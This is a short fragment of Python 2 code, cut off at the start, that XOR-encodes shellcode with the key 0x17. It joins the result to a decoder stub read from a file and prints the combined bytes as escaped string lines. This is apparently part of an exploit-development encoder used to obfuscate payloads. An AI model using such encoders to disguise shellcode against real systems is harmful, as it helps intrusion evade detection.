= "" for byte in shellcode: shellcode2 += chr(ord(byte) ^ 0x17) f = open("shellcode", "rb") shellcode3 = "" for line in f.readlines(): shellcode3 += line.rstrip() shellcode = shellcode3 + shellcode2 + "\x34" shellcode3 = "" for byte in shellcode: shellcode3 += "\\x%.2x" % ord(byte) for lin in re.findall(".?"*64, shellcode3): if lin != "": print("\"" + lin + "\"") |